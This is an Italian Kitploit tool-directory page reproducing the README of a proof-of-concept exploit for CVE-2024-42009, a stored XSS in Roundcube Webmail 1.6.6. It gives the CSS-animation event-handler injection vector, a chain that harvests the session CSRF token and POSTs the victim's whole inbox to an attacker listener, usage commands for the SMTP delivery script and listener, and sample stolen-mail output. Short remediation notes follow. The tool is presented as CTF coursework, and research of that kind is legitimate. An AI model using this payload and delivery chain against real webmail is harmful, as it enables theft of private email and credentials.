Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-42009-roundcube-xss — Exploit XSS memorizzato per Roundcube Webmail ≤1.6.6 (CVE-2024-42009) con esfiltrazione email zero-click tramite gestori di eventi di animazione CSS. Include script di consegna SMTP e listener compatibile CORS per CTF e test di sicurezza autorizzati. | Kitploit
Strumenti/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
Strumenti di PhishingExploitSfruttamento di Applicazioni WebEsfiltrazione DatiCTFPenetration TestingApprendimento e Formazione
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit XSS memorizzato per Roundcube Webmail ≤1.6.6 (CVE-2024-42009) con esfiltrazione email zero-click tramite gestori di eventi di animazione CSS. Include script di consegna SMTP e listener compatibile CORS per CTF e test di sicurezza autorizzati.

Vedi Repository
22 mesi faNon ancora revisionato

CVE-2024-42009 — PoC XSS persistente in Roundcube Webmail 1.6.6

Solo per test di sicurezza autorizzati, ambienti CTF e ricerca educativa.
L'uso di questo strumento su sistemi di cui non si è proprietari o per i quali non si dispone di autorizzazione scritta è illegale ai sensi del Computer Misuse Act 1990 (UK), del CFAA (US) e delle leggi equivalenti nel mondo.


Riepilogo della vulnerabilità

CampoDettaglio
CVECVE-2024-42009
Software interessatoRoundcube Webmail ≤ 1.6.6
Versione corretta1.6.7 / 1.6.8
Punteggio CVSS v3.18.8 (Alto)
Vettore CVSSAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — Neutralizzazione impropria dell'input durante la generazione di pagine web (XSS)
Tipo di attaccoXSS persistente → esfiltrazione email zero-click
Autenticazione richiestaNessuna (consegna SMTP); Bassa (la vittima deve aprire l'email)

Come funziona

Il sanificatore HTML di Roundcube 1.6.6 non riesce a rimuovere i gestori di eventi JavaScript associati ai keyframe delle animazioni CSS all'interno di un attributo malformato del tag <body>.

Vettore di iniezione:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">

Quando la vittima apre l'email nella propria sessione Roundcube autenticata, l'animazione CSS scatta immediatamente. Il gestore onanimationstart viene eseguito con pieno accesso all'oggetto JavaScript rcmail, incluso request_token della sessione.

Catena di exploit:

root@kitploit:~
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications

Struttura del repository

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Sends the XSS payload via unauthenticated SMTP
├── listener.py      # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html     # Standalone XSS payload for manual inspection or Burp delivery
└── README.md

Requisiti

  • Python 3.7+
  • Nessuna dipendenza esterna (solo libreria standard: smtplib, http.server, json, argparse)
  • Il target deve eseguire Roundcube ≤ 1.6.6
  • Il server SMTP target deve consentire il relay non autenticato sulla porta 25 (comune negli ambienti di laboratorio)

Utilizzo

Passo 1 — Avvia il listener (sulla tua macchina attaccante)

root@kitploit:~
python3 listener.py --port 8080

Output quando arrivano i dati:

root@kitploit:~
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19

  --- Email 1 ---
  UID     : 1
  From    : [email protected]
  Subject : SSH Access Credentials
  Body    : Your credentials are: ...

Il dump JSON completo viene salvato automaticamente in exfil_dump.json.

Passo 2 — Consegnare il payload

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Security Advisory - Action Required"

Passo 3 — Attendere che la vittima apra l'email

Una volta che l'email viene aperta in Roundcube ≤ 1.6.6, il listener stamperà il contenuto della casella di posta esfiltrato.


Perché funziona (dettagli tecnici)

Il purificatore HTML di Roundcube è responsabile della rimozione degli attributi pericolosi prima di renderizzare l'HTML delle email in arrivo. Nelle versioni ≤ 1.6.6, il purificatore rimuove correttamente onclick, onerror e gestori simili — ma non rimuove i gestori di eventi sulle animazioni CSS (onanimationstart, onanimationend, onanimationiteration).

Poiché le animazioni CSS scattano come parte del rendering (non dell'interazione dell'utente), il gestore viene eseguito nel momento in cui l'email viene aperta — nessun clic su link, nessuna azione dell'utente oltre all'apertura del messaggio.

L'oggetto JavaScript rcmail è globalmente accessibile in ogni sessione Roundcube autenticata. Espone rcmail.env.request_token, che è il token CSRF della sessione. Combinato con gli endpoint API di posta di Roundcube (?_task=mail&_action=list, ?_action=show), il payload può leggere l'intera casella di posta senza innescare ulteriori autenticazioni.


Versioni interessate

VersioneStato
≤ 1.6.6Vulnerabile
1.6.7Corretta
1.6.8Corretta (consigliata)
1.5.x LTSConsultare l'avviso del fornitore

Rimedio

AzioneDettaglio
AggiornamentoRoundcube 1.6.8 o successivo corregge questa classe di XSS
Header CSPDistribuire Content-Security-Policy: default-src 'self'; script-src 'self' sul vhost della webmail per bloccare l'esecuzione di JS inline

Riferimenti

  • Avviso di sicurezza Roundcube
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — Injection

Scoperto / Dimostrato da

Questo PoC è stato sviluppato e testato come parte di una valutazione di penetration testing Boot-to-Root CTF nel modulo Ethical Hacking and Penetration Testing, MSc Cybersecurity, Coventry University (2025–2026). Tutti i test sono stati condotti in un ambiente di laboratorio VMware isolato con esplicita autorizzazione scritta.

Autore: Segun Akinsoyinu
Portfolio: segunakinsoyinu.github.io/MyPortfolio


Avviso legale

Questo codice è rilasciato esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzati. L'autore non si assume alcuna responsabilità per un uso improprio. Prima di utilizzare questo strumento, assicurati di avere l'esplicita autorizzazione scritta per testare il sistema target.

Scarica lo strumento
ArgomentoDescrizione
--smtpIP o hostname del server SMTP target
--portPorta SMTP (default: 25)
--fromIndirizzo del mittente (qualsiasi valore accettato dal relay)
--toIndirizzo email della vittima
--attackerIl tuo IP — incorporato nel payload come raccoglitore dell'esfiltrazione
--lportPorta del tuo listener (default: 8080)
--subjectOggetto dell'email
Relay SMTPDisabilitare il relay non autenticato sulla porta 25 — richiedere AUTH per tutte le consegne interne